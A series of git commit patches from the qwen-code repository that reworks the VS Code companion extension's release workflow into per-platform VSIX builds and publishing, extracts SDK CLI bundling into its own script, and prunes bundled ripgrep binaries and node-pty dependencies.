Extension' + env: + UNIVERSAL_BUILD: '${{ matrix.universal }}' run: | - # Build and stage the extension + bundled CLI once. + # Build and stage the extension + bundled CLI npm --workspace=qwen-code-vscode-ide-companion run prepackage - - name: 'Package VSIX (dry run)' - if: '${{ steps.vars.outputs.is_dry_run == ''true'' }}' + - name: 'Package VSIX (platform-specific)' + if: '${{ matrix.target != '''' }}' working-directory: 'packages/vscode-ide-companion' run: |- - if [[ "${{ steps.vars.outputs.is_preview }}" == "true" ]]; then - vsce package --no-dependencies --pre-release --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix + if [[ "${{ needs.prepare.outputs.is_preview }}" == "true" ]]; then + vsce package --no-dependencies --pre-release --target ${{ matrix.target }} \ + --out ../../qwen-code-vscode-companion-${{ needs.prepare.outputs.release_version }}-${{ matrix.target }}.vsix else - vsce package --no-dependencies --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix + vsce package --no-dependencies --target ${{ matrix.target }} \ + --out ../../qwen-code-vscode-companion-${{ needs.prepare.outputs.release_version }}-${{ matrix.target }}.vsix fi + shell: 'bash' - - name: 'Upload VSIX Artifact (dry run)' - if: '${{ steps.vars.outputs.is_dry_run == ''true'' }}' + - name: 'Package VSIX (universal)' + if: '${{ matrix.target == '''' }}' + working-directory: 'packages/vscode-ide-companion' + run: |- + if [[ "${{ needs.prepare.outputs.is_preview }}" == "true" ]]; then + vsce package --no-dependencies --pre-release \ + --out ../../qwen-code-vscode-companion-${{ needs.prepare.outputs.release_version }}-universal.vsix + else + vsce package --no-dependencies \ + --out ../../qwen-code-vscode-companion-${{ needs.prepare.outputs.release_version }}-universal.vsix + fi + shell: 'bash' + + - name: 'Upload VSIX Artifact' uses: 'actions/upload-artifact@v4' with: - name: 'qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix' - path: 'packages/qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix' + name: 'vsix-${{ matrix.target || ''universal'' }}' + path: 'qwen-code-vscode-companion-${{ needs.prepare.outputs.release_version }}-*.vsix' if-no-files-found: 'error' + # Third job: Publish all VSIXes to marketplaces + publish: + needs: + - 'prepare' + - 'build' + runs-on: 'ubuntu-latest' + environment: + name: 'production-release' + url: '${{ github.server_url }}/${{ github.repository }}/releases/tag/vscode-companion-${{ needs.prepare.outputs.release_tag }}' + permissions: + contents: 'read' + issues: 'write' + + steps: + - name: 'Checkout' + uses: 'actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8' # ratchet:actions/checkout@v5 + with: + ref: '${{ github.event.inputs.ref || github.sha }}' + + - name: 'Download all VSIX artifacts' + uses: 'actions/download-artifact@v4' + with: + pattern: 'vsix-*' + path: 'vsix-artifacts' + merge-multiple: true + + - name: 'List downloaded artifacts' + run: |- + echo "Downloaded VSIX files:" + ls -la vsix-artifacts/ + + - name: 'Install VSCE and OVSX' + run: |- + npm install -g @vscode/vsce + npm install -g ovsx + - name: 'Publish to Microsoft Marketplace' - if: '${{ steps.vars.outputs.is_dry_run == ''false'' }}' - working-directory: 'packages/vscode-ide-companion' + if: '${{ needs.prepare.outputs.is_dry_run == ''false'' && needs.prepare.outputs.is_preview != ''true'' }}' env: VSCE_PAT: '${{ secrets.VSCE_PAT }}' - VSCODE_TAG: '${{ steps.version.outputs.VSCODE_TAG }}' run: |- - if [[ "${{ steps.vars.outputs.is_preview }}" == "true" ]]; then - echo "Skipping Microsoft Marketplace for preview release" - else - vsce publish --pat "${VSCE_PAT}" --tag "${VSCODE_TAG}" - fi + echo "Publishing to Microsoft Marketplace..." + for vsix in vsix-artifacts/*.vsix; do + echo "Publishing: ${vsix}" + vsce publish --packagePath "${vsix}" --pat "${VSCE_PAT}" + done - name: 'Publish to OpenVSX' - if: '${{ steps.vars.outputs.is_dry_run == ''false'' }}' - working-directory: 'packages/vscode-ide-companion' + if: '${{ needs.prepare.outputs.is_dry_run == ''false'' }}' env: OVSX_TOKEN: '${{ secrets.OVSX_TOKEN }}' - VSCODE_TAG: '${{ steps.version.outputs.VSCODE_TAG }}' run: |- - if [[ "${{ steps.vars.outputs.is_preview }}" == "true" ]]; then - # For preview releases, publish with preview tag - # First package the extension for preview - vsce package --no-dependencies --pre-release --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix - ovsx publish ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix --pat "${OVSX_TOKEN}" --pre-release - else - # Package and publish normally - vsce package --no-dependencies --out ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix - ovsx publish ../qwen-code-vscode-companion-${{ steps.version.outputs.RELEASE_VERSION }}.vsix --pat "${OVSX_TOKEN}" --tag "${VSCODE_TAG}" - fi + echo "Publishing to OpenVSX..." + for vsix in vsix-artifacts/*.vsix; do + echo "Publishing: ${vsix}" + if [[ "${{ needs.prepare.outputs.is_preview }}" == "true" ]]; then + ovsx publish "${vsix}" --pat "${OVSX_TOKEN}" --pre-release + else + ovsx publish "${vsix}" --pat "${OVSX_TOKEN}" + fi + done - - name: 'Create Issue on Failure' - if: |- - ${{ failure() }} + - name: 'Upload all VSIXes as release artifacts (dry run)' + if: '${{ needs.prepare.outputs.is_dry_run == ''true'' }}' + uses: 'actions/upload-artifact@v4' + with: + name: 'all-vsix-packages-${{ needs.prepare.outputs.release_version }}' + path: 'vsix-artifacts/*.vsix' + if-no-files-found: 'error' + + report-failure: + name: 'Create Issue on Failure' + needs: + - 'prepare' + - 'build' + - 'publish' + if: |- + ${{ + always() && + ( + needs.build.result == 'failure' || + needs.build.result == 'cancelled' || + needs.publish.result == 'failure' || + needs.publish.result == 'cancelled' + ) + }} + runs-on: 'ubuntu-latest' + permissions: + contents: 'read' + issues: 'write' + steps: + - name: 'Create failure issue' env: GITHUB_TOKEN: '${{ secrets.GITHUB_TOKEN }}' + RELEASE_VERSION: '${{ needs.prepare.outputs.release_version }}' DETAILS_URL: '${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}' run: |- gh issue create \ - --title "VSCode IDE Companion Release Failed for ${{ steps.version.outputs.RELEASE_VERSION }} on $(date +'%Y-%m-%d')" \ + --title "VSCode IDE Companion Release Failed for ${RELEASE_VERSION} on $(date +'%Y-%m-%d')" \ --body "The VSCode IDE Companion release workflow failed. See the full run for details: ${DETAILS_URL}" diff --git a/packages/vscode-ide-companion/scripts/prepackage.js b/packages/vscode-ide-companion/scripts/prepackage.js index de76a3359..ba4f1b664 100644 --- a/packages/vscode-ide-companion/scripts/prepackage.js +++ b/packages/vscode-ide-companion/scripts/prepackage.js @@ -78,21 +78,31 @@ function main() { }, ); + const isUniversalBuild = process.env.UNIVERSAL_BUILD === 'true'; + console.log( '[prepackage] Installing production deps into extension dist/qwen-cli...', ); - run( - npm, - [ - '--prefix', - bundledCliDir, - 'install', - '--omit=dev', - '--no-audit', - '--no-fund', - ], - { cwd: bundledCliDir }, - ); + + const installArgs = [ + '--prefix', + bundledCliDir, + 'install', + '--omit=dev', + '--no-audit', + '--no-fund', + ]; + + // For universal build, exclude optional dependencies (node-pty native binaries) + // This ensures the universal VSIX works on all platforms using child_process fallback + if (isUniversalBuild) { + installArgs.push('--omit=optional'); + console.log( + '[prepackage] Universal build: excluding optional dependencies (node-pty)', + ); + } + + run(npm, installArgs, { cwd: bundledCliDir }); } main(); From 510610c5758d756758745b1d34f3d26469672e4d Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Sat, 24 Jan 2026 07:10:08 +0800 Subject: [PATCH 26/79] ci(vscode-ide-companion): simplify workflow and fix report-failure job - Remove redundant version update from prepare job (only needed before packaging) - Use npm run release:version to update all package versions consistently - Add build and bundle step before packaging - Fix report-failure job by adding --repo flag to gh issue create - Temporarily disable darwin-x64 build (macos-latest-large) due to billing --- .../workflows/release-vscode-companion.yml | 29 +++++++++---------- 1 file changed, 13 insertions(+), 16 deletions(-) diff --git a/.github/workflows/release-vscode-companion.yml b/.github/workflows/release-vscode-companion.yml index f7c875d62..c8bf4b632 100644 --- a/.github/workflows/release-vscode-companion.yml +++ b/.github/workflows/release-vscode-companion.yml @@ -119,15 +119,6 @@ jobs: IS_PREVIEW: '${{ steps.vars.outputs.is_preview }}' MANUAL_VERSION: '${{ inputs.version }}' - - name: 'Update package version (for preview releases)' - if: '${{ steps.vars.outputs.is_preview == ''true'' }}' - working-directory: 'packages/vscode-ide-companion' - env: - RELEASE_VERSION: '${{ steps.version.outputs.RELEASE_VERSION }}' - run: |- - # Update package.json with preview version - npm version "${RELEASE_VERSION}" --no-git-tag-version --allow-same-version - - name: 'Run Tests' if: |- ${{ github.event.inputs.force_skip_tests != 'true' }} @@ -152,9 +143,10 @@ jobs: universal: false # macOS 15 (x64): use macos-latest-large # Endpoint Badge: macos-latest-large, macos-15-large, or macos-15-intel - - os: 'macos-latest-large' - target: 'darwin-x64' - universal: false + # TODO: Uncomment when billing is resolved + # - os: 'macos-latest-large' + # target: 'darwin-x64' + # universal: false # macOS 15 Arm64: use macos-latest # Endpoint Badge: macos-latest, macos-15, or macos-15-xlarge - os: 'macos-latest' @@ -196,14 +188,17 @@ jobs: run: |- npm install -g @vscode/vsce - - name: 'Update package version (for preview releases)' - if: '${{ needs.prepare.outputs.is_preview == ''true'' }}' - working-directory: 'packages/vscode-ide-companion' + - name: 'Update package version' env: RELEASE_VERSION: '${{ needs.prepare.outputs.release_version }}' shell: 'bash' run: |- - npm version "${RELEASE_VERSION}" --no-git-tag-version --allow-same-version + npm run release:version -- "${RELEASE_VERSION}" + + - name: 'Build and Bundle' + run: |- + npm run build + npm run bundle - name: 'Prepare VSCode Extension' env: @@ -341,7 +336,9 @@ jobs: GITHUB_TOKEN: '${{ secrets.GITHUB_TOKEN }}' RELEASE_VERSION: '${{ needs.prepare.outputs.release_version }}' DETAILS_URL: '${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}' + GH_REPO: '${{ github.repository }}' run: |- gh issue create \ + --repo "${GH_REPO}" \ --title "VSCode IDE Companion Release Failed for ${RELEASE_VERSION} on $(date +'%Y-%m-%d')" \ --body "The VSCode IDE Companion release workflow failed. See the full run for details: ${DETAILS_URL}" From 3d6fe23c3ba8d06426f1dc02326dd29ed39bb996 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Sat, 24 Jan 2026 11:35:33 +0800 Subject: [PATCH 27/79] refactor(sdk,vscode): extract CLI bundling to dedicated script - Move CLI bundling logic from build.js to bundle-cli.js in SDK package - Add bundle:cli script to SDK package.json lifecycle hooks - Remove redundant Build and Bundle step from workflow (prepackage handles it) - Add repo build step to prepackage.js to ensure workspace artifacts exist - Fix Windows workspace symlink issue by running npm install from tmpdir - Remove lint/typecheck from prepackage (handled elsewhere in CI) --- .../workflows/release-vscode-companion.yml | 5 -- packages/sdk-typescript/package.json | 5 +- packages/sdk-typescript/scripts/build.js | 32 ------- packages/sdk-typescript/scripts/bundle-cli.js | 83 +++++++++++++++++++ .../scripts/prepackage.js | 24 ++++-- 5 files changed, 103 insertions(+), 46 deletions(-) create mode 100644 packages/sdk-typescript/scripts/bundle-cli.js diff --git a/.github/workflows/release-vscode-companion.yml b/.github/workflows/release-vscode-companion.yml index c8bf4b632..2d5f1cc1e 100644 --- a/.github/workflows/release-vscode-companion.yml +++ b/.github/workflows/release-vscode-companion.yml @@ -195,11 +195,6 @@ jobs: run: |- npm run release:version -- "${RELEASE_VERSION}" - - name: 'Build and Bundle' - run: |- - npm run build - npm run bundle - - name: 'Prepare VSCode Extension' env: UNIVERSAL_BUILD: '${{ matrix.universal }}' diff --git a/packages/sdk-typescript/package.json b/packages/sdk-typescript/package.json index 8e4bf7b9b..7c4486d9d 100644 --- a/packages/sdk-typescript/package.json +++ b/packages/sdk-typescript/package.json @@ -20,6 +20,7 @@ ], "scripts": { "build": "node scripts/build.js", + "bundle:cli": "node scripts/bundle-cli.js", "test": "vitest run", "test:ci": "vitest run", "test:watch": "vitest", @@ -28,8 +29,8 @@ "lint:fix": "eslint src test --fix", "typecheck": "tsc --noEmit", "clean": "rm -rf dist", - "prepublishOnly": "npm run clean && npm run build", - "prepack": "npm run build" + "prepublishOnly": "npm run clean && npm run build && npm run bundle:cli", + "prepack": "npm run build && npm run bundle:cli" }, "keywords": [ "qwen", diff --git a/packages/sdk-typescript/scripts/build.js b/packages/sdk-typescript/scripts/build.js index ae3a21e87..beda8b0e7 100755 --- a/packages/sdk-typescript/scripts/build.js +++ b/packages/sdk-typescript/scripts/build.js @@ -91,35 +91,3 @@ if (existsSync(licenseSource)) { console.warn('Could not copy LICENSE:', error.message); } } - -console.log('Bundling CLI into SDK package...'); -const repoRoot = join(rootDir, '..', '..'); -const rootDistDir = join(repoRoot, 'dist'); - -if (!existsSync(rootDistDir) || !existsSync(join(rootDistDir, 'cli.js'))) { - console.log('Building CLI bundle...'); - try { - execSync('npm run bundle', { stdio: 'inherit', cwd: repoRoot }); - } catch (error) { - console.error('Failed to build CLI bundle:', error.message); - throw error; - } -} - -const cliDistDir = join(rootDir, 'dist', 'cli'); -mkdirSync(cliDistDir, { recursive: true }); - -console.log('Copying CLI bundle...'); -cpSync(join(rootDistDir, 'cli.js'), join(cliDistDir, 'cli.js')); - -const vendorSource = join(rootDistDir, 'vendor'); -if (existsSync(vendorSource)) { - cpSync(vendorSource, join(cliDistDir, 'vendor'), { recursive: true }); -} - -const localesSource = join(rootDistDir, 'locales'); -if (existsSync(localesSource)) { - cpSync(localesSource, join(cliDistDir, 'locales'), { recursive: true }); -} - -console.log('CLI bundle copied successfully to SDK package'); diff --git a/packages/sdk-typescript/scripts/bundle-cli.js b/packages/sdk-typescript/scripts/bundle-cli.js new file mode 100644 index 000000000..9d5c6c773 --- /dev/null +++ b/packages/sdk-typescript/scripts/bundle-cli.js @@ -0,0 +1,83 @@ +/** + * @license + * Copyright 2025 Qwen Team + * SPDX-License-Identifier: Apache-2.0 + */ + +/** + * Bundles/copies the Qwen Code CLI into the SDK package dist/ so consumers + * don't need a separate CLI install. + * + * This is intentionally NOT part of the SDK "build" step; it is a packaging + * concern (run via npm lifecycle hooks like prepack/prepublishOnly). + */ + +import { spawnSync } from 'node:child_process'; +import { cpSync, existsSync, mkdirSync, rmSync } from 'node:fs'; +import { dirname, join } from 'node:path'; +import { fileURLToPath } from 'node:url'; + +const __filename = fileURLToPath(import.meta.url); +const __dirname = dirname(__filename); +const sdkRoot = join(__dirname, '..'); +const repoRoot = join(sdkRoot, '..', '..'); + +function run(cmd, args, opts = {}) { + const res = spawnSync(cmd, args, { + stdio: 'inherit', + shell: process.platform === 'win32', + ...opts, + }); + if (res.error) throw res.error; + if (typeof res.status === 'number' && res.status !== 0) { + throw new Error( + `Command failed (${res.status}): ${cmd} ${args.map((a) => JSON.stringify(a)).join(' ')}`, + ); + } +} + +function ensureRootBundle() { + const rootDistDir = join(repoRoot, 'dist'); + const rootCliJs = join(rootDistDir, 'cli.js'); + if (existsSync(rootCliJs)) return; + + console.log( + '[sdk prepack] Root CLI bundle missing; running `npm run bundle`', + ); + const npm = process.platform === 'win32' ? 'npm.cmd' : 'npm'; + run(npm, ['run', 'bundle'], { cwd: repoRoot }); +} + +function main() { + ensureRootBundle(); + + const rootDistDir = join(repoRoot, 'dist'); + const rootCliJs = join(rootDistDir, 'cli.js'); + const cliDistDir = join(sdkRoot, 'dist', 'cli'); + + if (!existsSync(join(sdkRoot, 'dist'))) { + throw new Error( + '[sdk prepack] SDK dist/ not found. Run `npm run build` in packages/sdk-typescript first.', + ); + } + + rmSync(cliDistDir, { recursive: true, force: true }); + mkdirSync(cliDistDir, { recursive: true }); + + console.log('[sdk prepack] Copying CLI bundle into SDK dist/...'); + cpSync(rootCliJs, join(cliDistDir, 'cli.js')); + + const vendorSource = join(rootDistDir, 'vendor'); + if (existsSync(vendorSource)) { + cpSync(vendorSource, join(cliDistDir, 'vendor'), { recursive: true }); + } + + const localesSource = join(rootDistDir, 'locales'); + if (existsSync(localesSource)) { + cpSync(localesSource, join(cliDistDir, 'locales'), { recursive: true }); + } + + console.log('[sdk prepack] CLI bundle copied successfully'); +} + +main(); diff --git a/packages/vscode-ide-companion/scripts/prepackage.js b/packages/vscode-ide-companion/scripts/prepackage.js index ba4f1b664..3245b1ef8 100644 --- a/packages/vscode-ide-companion/scripts/prepackage.js +++ b/packages/vscode-ide-companion/scripts/prepackage.js @@ -20,6 +20,7 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { spawnSync } from 'node:child_process'; +import os from 'node:os'; const __filename = fileURLToPath(import.meta.url); const __dirname = path.dirname(__filename); @@ -51,6 +52,11 @@ function run(cmd, args, opts = {}) { function main() { const npm = npmBin(); + // Root bundling depends on built workspace outputs. Use the root build to + // ensure all required workspace dist/ artifacts exist. + console.log('[prepackage] Building repo...'); + run(npm, ['--prefix', repoRoot, 'run', 'build'], { cwd: repoRoot }); + console.log('[prepackage] Bundling root CLI...'); run(npm, ['--prefix', repoRoot, 'run', 'bundle'], { cwd: repoRoot }); @@ -60,12 +66,6 @@ function main() { console.log('[prepackage] Generating notices...'); run(npm, ['run', 'generate:notices'], { cwd: extensionRoot }); - console.log('[prepackage] Typechecking...'); - run(npm, ['run', 'check-types'], { cwd: extensionRoot }); - - console.log('[prepackage] Linting...'); - run(npm, ['run', 'lint'], { cwd: extensionRoot }); - console.log('[prepackage] Building extension (production)...'); run(npm, ['run', 'build:prod'], { cwd: extensionRoot }); @@ -102,7 +102,17 @@ function main() { ); } - run(npm, installArgs, { cwd: bundledCliDir }); + run(npm, installArgs, { + // Run outside the repo so npm doesn't treat this as a workspace install. + // This avoids Windows junctions/symlinks in the staged node_modules. + cwd: os.tmpdir(), + env: { + ...process.env, + npm_config_workspaces: 'false', + npm_config_include_workspace_root: 'false', + npm_config_link_workspace_packages: 'false', + }, + }); } main(); From e5b800a79d8ee78a9d7ed6a8c7ce3bce1c1f7b39 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Sat, 24 Jan 2026 13:18:57 +0800 Subject: [PATCH 28/79] fix(vscode-ide-companion): prune ripgrep binaries and remove generic node-pty - Re-enable macOS x64 CI builds using macos-15-intel runner - Remove generic node-pty dependency in favor of platform-specific @lydell/node-pty-* packages - Add ripgrep binary pruning for platform-specific builds to reduce VSIX size - Add Windows workaround to remove npm junction self-references during packaging --- .../workflows/release-vscode-companion.yml | 10 +- package-lock.json | 24 +--- package.json | 3 +- packages/core/package.json | 3 +- .../scripts/prepackage.js | 130 ++++++++++++++++++ scripts/prepare-package.js | 1 - 6 files changed, 139 insertions(+), 32 deletions(-) diff --git a/.github/workflows/release-vscode-companion.yml b/.github/workflows/release-vscode-companion.yml index 2d5f1cc1e..2e0c4b60e 100644 --- a/.github/workflows/release-vscode-companion.yml +++ b/.github/workflows/release-vscode-companion.yml @@ -141,12 +141,11 @@ jobs: - os: 'ubuntu-latest' target: 'linux-x64' universal: false - # macOS 15 (x64): use macos-latest-large + # macOS 15 (x64): use macos-15-intel # Endpoint Badge: macos-latest-large, macos-15-large, or macos-15-intel - # TODO: Uncomment when billing is resolved - # - os: 'macos-latest-large' - # target: 'darwin-x64' - # universal: false + - os: 'macos-15-intel' + target: 'darwin-x64' + universal: false # macOS 15 Arm64: use macos-latest # Endpoint Badge: macos-latest, macos-15, or macos-15-xlarge - os: 'macos-latest' @@ -198,6 +197,7 @@ jobs: - name: 'Prepare VSCode Extension' env: UNIVERSAL_BUILD: '${{ matrix.universal }}' + VSCODE_TARGET: '${{ matrix.target }}' run: | # Build and stage the extension + bundled CLI npm --workspace=qwen-code-vscode-ide-companion run prepackage diff --git a/package-lock.json b/package-lock.json index 2a0726478..899db6fa6 100644 --- a/package-lock.json +++ b/package-lock.json @@ -63,8 +63,7 @@ "@lydell/node-pty-darwin-x64": "1.1.0", "@lydell/node-pty-linux-x64": "1.1.0", "@lydell/node-pty-win32-arm64": "1.1.0", - "@lydell/node-pty-win32-x64": "1.1.0", - "node-pty": "^1.0.0" + "@lydell/node-pty-win32-x64": "1.1.0" } }, "node_modules/@alcalzone/ansi-tokenize": { @@ -11925,13 +11924,6 @@ "thenify-all": "^1.0.0" } }, - "node_modules/nan": { - "version": "2.23.0", - "resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz", - "integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==", - "license": "MIT", - "optional": true - }, "node_modules/nano-spawn": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/nano-spawn/-/nano-spawn-1.0.3.tgz", @@ -12079,17 +12071,6 @@ "webidl-conversions": "^3.0.0" } }, - "node_modules/node-pty": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/node-pty/-/node-pty-1.0.0.tgz", - "integrity": "sha512-wtBMWWS7dFZm/VgqElrTvtfMq4GzJ6+edFI0Y0zyzygUSZMgZdraDUMUhCIvkjhJjme15qWmbyJbtAx4ot4uZA==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "dependencies": { - "nan": "^2.17.0" - } - }, "node_modules/node-releases": { "version": "2.0.27", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.27.tgz", @@ -18051,8 +18032,7 @@ "@lydell/node-pty-darwin-x64": "1.1.0", "@lydell/node-pty-linux-x64": "1.1.0", "@lydell/node-pty-win32-arm64": "1.1.0", - "@lydell/node-pty-win32-x64": "1.1.0", - "node-pty": "^1.0.0" + "@lydell/node-pty-win32-x64": "1.1.0" } }, "packages/core/node_modules/@google/genai": { diff --git a/package.json b/package.json index a9ab15472..9e714499a 100644 --- a/package.json +++ b/package.json @@ -119,8 +119,7 @@ "@lydell/node-pty-darwin-x64": "1.1.0", "@lydell/node-pty-linux-x64": "1.1.0", "@lydell/node-pty-win32-arm64": "1.1.0", - "@lydell/node-pty-win32-x64": "1.1.0", - "node-pty": "^1.0.0" + "@lydell/node-pty-win32-x64": "1.1.0" }, "lint-staged": { "*.{js,jsx,ts,tsx}": [ diff --git a/packages/core/package.json b/packages/core/package.json index 4675a39ec..a7edfe600 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -77,8 +77,7 @@ "@lydell/node-pty-darwin-x64": "1.1.0", "@lydell/node-pty-linux-x64": "1.1.0", "@lydell/node-pty-win32-arm64": "1.1.0", - "@lydell/node-pty-win32-x64": "1.1.0", - "node-pty": "^1.0.0" + "@lydell/node-pty-win32-x64": "1.1.0" }, "devDependencies": { "@qwen-code/qwen-code-test-utils": "file:../test-utils", diff --git a/packages/vscode-ide-companion/scripts/prepackage.js b/packages/vscode-ide-companion/scripts/prepackage.js index 3245b1ef8..8b4ca0ecd 100644 --- a/packages/vscode-ide-companion/scripts/prepackage.js +++ b/packages/vscode-ide-companion/scripts/prepackage.js @@ -21,6 +21,7 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { spawnSync } from 'node:child_process'; import os from 'node:os'; +import fs from 'node:fs'; const __filename = fileURLToPath(import.meta.url); const __dirname = path.dirname(__filename); @@ -49,6 +50,132 @@ function run(cmd, args, opts = {}) { } } +function parseVsceTarget(target) { + if (!target) return null; + const parts = target.split('-'); + if (parts.length !== 2) return null; + const [platform, arch] = parts; + return { platform, arch }; +} + +function getExpectedRipgrepDirName() { + const target = parseVsceTarget(process.env.VSCODE_TARGET); + const platform = target?.platform ?? process.platform; + const arch = target?.arch ?? process.arch; + + const normalizedPlatform = + platform === 'darwin' || platform === 'linux' || platform === 'win32' + ? platform + : null; + const normalizedArch = arch === 'x64' || arch === 'arm64' ? arch : null; + + if (!normalizedPlatform || !normalizedArch) return null; + return `${normalizedArch}-${normalizedPlatform}`; +} + +function pruneBundledRipgrep() { + const isUniversalBuild = process.env.UNIVERSAL_BUILD === 'true'; + if (isUniversalBuild) { + console.log('[prepackage] Universal build: keeping all ripgrep binaries'); + return; + } + + if (!process.env.VSCODE_TARGET) { + console.log( + '[prepackage] VSCODE_TARGET not set: keeping all ripgrep binaries', + ); + return; + } + + const expectedDirName = getExpectedRipgrepDirName(); + if (!expectedDirName) { + console.warn( + '[prepackage] Could not resolve expected ripgrep target; keeping all binaries', + ); + return; + } + + const ripgrepDir = path.join(bundledCliDir, 'vendor', 'ripgrep'); + if (!fs.existsSync(ripgrepDir)) { + console.log('[prepackage] No bundled ripgrep directory found; skipping'); + return; + } + + const entries = fs.readdirSync(ripgrepDir, { withFileTypes: true }); + const removed = []; + + for (const entry of entries) { + if (!entry.isDirectory()) continue; + const name = entry.name; + if (!/^(x64|arm64)-(darwin|linux|win32)$/.test(name)) continue; + if (name === expectedDirName) continue; + + const fullPath = path.join(ripgrepDir, name); + fs.rmSync(fullPath, { recursive: true, force: true }); + removed.push(name); + } + + if (removed.length === 0) { + console.log( + `[prepackage] Ripgrep already pruned for ${expectedDirName} (no changes)`, + ); + return; + } + + console.log( + `[prepackage] Pruned ripgrep binaries; kept ${expectedDirName}, removed: ${removed.join(', ')}`, + ); +} + +function removeSelfReferenceFromNodeModules() { + if (process.platform !== 'win32') return; + + const packageJsonPath = path.join(bundledCliDir, 'package.json'); + if (!fs.existsSync(packageJsonPath)) return; + + let packageName; + try { + const parsed = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8')); + packageName = parsed?.name; + } catch { + return; + } + + if (typeof packageName !== 'string' || packageName.length === 0) return; + + // Some npm installations on Windows can create a junction in node_modules + // pointing back to the package itself. vsce/yazl can't zip that reliably. + let selfPath; + if (packageName.startsWith('@')) { + const [scope, name] = packageName.split('/'); + if (!scope || !name) return; + selfPath = path.join(bundledCliDir, 'node_modules', scope, name); + } else { + selfPath = path.join(bundledCliDir, 'node_modules', packageName); + } + + if (!fs.existsSync(selfPath)) return; + + fs.rmSync(selfPath, { recursive: true, force: true }); + console.log( + `[prepackage] Windows: removed self-reference from node_modules: ${packageName}`, + ); + + // Cleanup empty scope directory (cosmetic). + try { + const parentDir = path.dirname(selfPath); + if ( + fs.existsSync(parentDir) && + fs.statSync(parentDir).isDirectory() && + fs.readdirSync(parentDir).length === 0 + ) { + fs.rmdirSync(parentDir); + } + } catch { + // Best-effort cleanup only. + } +} + function main() { const npm = npmBin(); @@ -113,6 +240,9 @@ function main() { npm_config_link_workspace_packages: 'false', }, }); + + removeSelfReferenceFromNodeModules(); + pruneBundledRipgrep(); } main(); diff --git a/scripts/prepare-package.js b/scripts/prepare-package.js index 4a1d33173..de94e8d81 100644 --- a/scripts/prepare-package.js +++ b/scripts/prepare-package.js @@ -161,7 +161,6 @@ const distPackageJson = { '@lydell/node-pty-linux-x64': '1.1.0', '@lydell/node-pty-win32-arm64': '1.1.0', '@lydell/node-pty-win32-x64': '1.1.0', - 'node-pty': '^1.0.0', }, engines: rootPackageJson.engines, }; From 293fe8f1f49a14f32d801759aed39af157e7309d Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Sat, 24 Jan 2026 14:36:41 +0800 Subject: [PATCH 29/79] chore: fix vscode release workflow on Windows Runner --- packages/vscode-ide-companion/scripts/prepackage.js | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/packages/vscode-ide-companion/scripts/prepackage.js b/packages/vscode-ide-companion/scripts/prepackage.js index 8b4ca0ecd..26efb405f 100644 --- a/packages/vscode-ide-companion/scripts/prepackage.js +++ b/packages/vscode-ide-companion/scripts/prepackage.js @@ -20,7 +20,6 @@ import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { spawnSync } from 'node:child_process'; -import os from 'node:os'; import fs from 'node:fs'; const __filename = fileURLToPath(import.meta.url); @@ -230,9 +229,7 @@ function main() { } run(npm, installArgs, { - // Run outside the repo so npm doesn't treat this as a workspace install. - // This avoids Windows junctions/symlinks in the staged node_modules. - cwd: os.tmpdir(), + cwd: bundledCliDir, env: { ...process.env, npm_config_workspaces: 'false', From 8420386d146566af66f60edb545cb6030d33e792 Mon Sep 17 00:00:00 2001 From: yiliang114 <1204183885@qq.com> Date: Sun, 25 Jan 2026 20:59:44 +0800 Subject: [PATCH 30/79] feat(lsp): Removes built-in LSP configuration options and improves configuration loading mechanism - remove configuration options such as lsp.enabled, lsp.allowed, lsp.excluded, etc. from settings.json schema - Delete lspSettingsSchema.ts files and associated JSON schema definitions - Removed VS Code settings loading function, no longer merge. vscode/settings.json configuration - Updated LSP documentation to reflect new configurations and experimental flags -remove allow/exclude parameters in NativeLspService constructor - Create new LspConfigLoader classes to handle LSP configuration loading and merging - Updated debug guide to match the new configuration mechanism - Simplify loadCliConfig functions, remove startLsp options - Reconstruct the configuration loading process to remove duplicate configuration merge logic - Add LspConfigLoader classes to implement configuration parsing and merging functions --- .vscode/settings.json | 7 +- cclsp-integration-plan.md | 147 - docs/users/configuration/settings.md | 15 +- docs/users/features/lsp.md | 205 +- package-lock.json | 8 - package.json | 1 - packages/cli/LSP_DEBUGGING_GUIDE.md | 34 +- packages/cli/src/config/config.test.ts | 27 +- packages/cli/src/config/config.ts | 20 +- packages/cli/src/config/lspSettingsSchema.ts | 39 - packages/cli/src/config/settings.ts | 57 +- packages/cli/src/config/settingsSchema.ts | 53 - packages/cli/src/gemini.tsx | 1 - .../cli/src/services/lsp/LspConfigLoader.ts | 458 ++++ .../src/services/lsp/LspConnectionFactory.ts | 23 +- .../src/services/lsp/LspLanguageDetector.ts | 222 ++ .../src/services/lsp/LspResponseNormalizer.ts | 911 ++++++ .../cli/src/services/lsp/LspServerManager.ts | 713 +++++ packages/cli/src/services/lsp/LspTypes.ts | 205 ++ .../lsp/NativeLspService.integration.test.ts | 48 +- .../src/services/lsp/NativeLspService.test.ts | 6 + 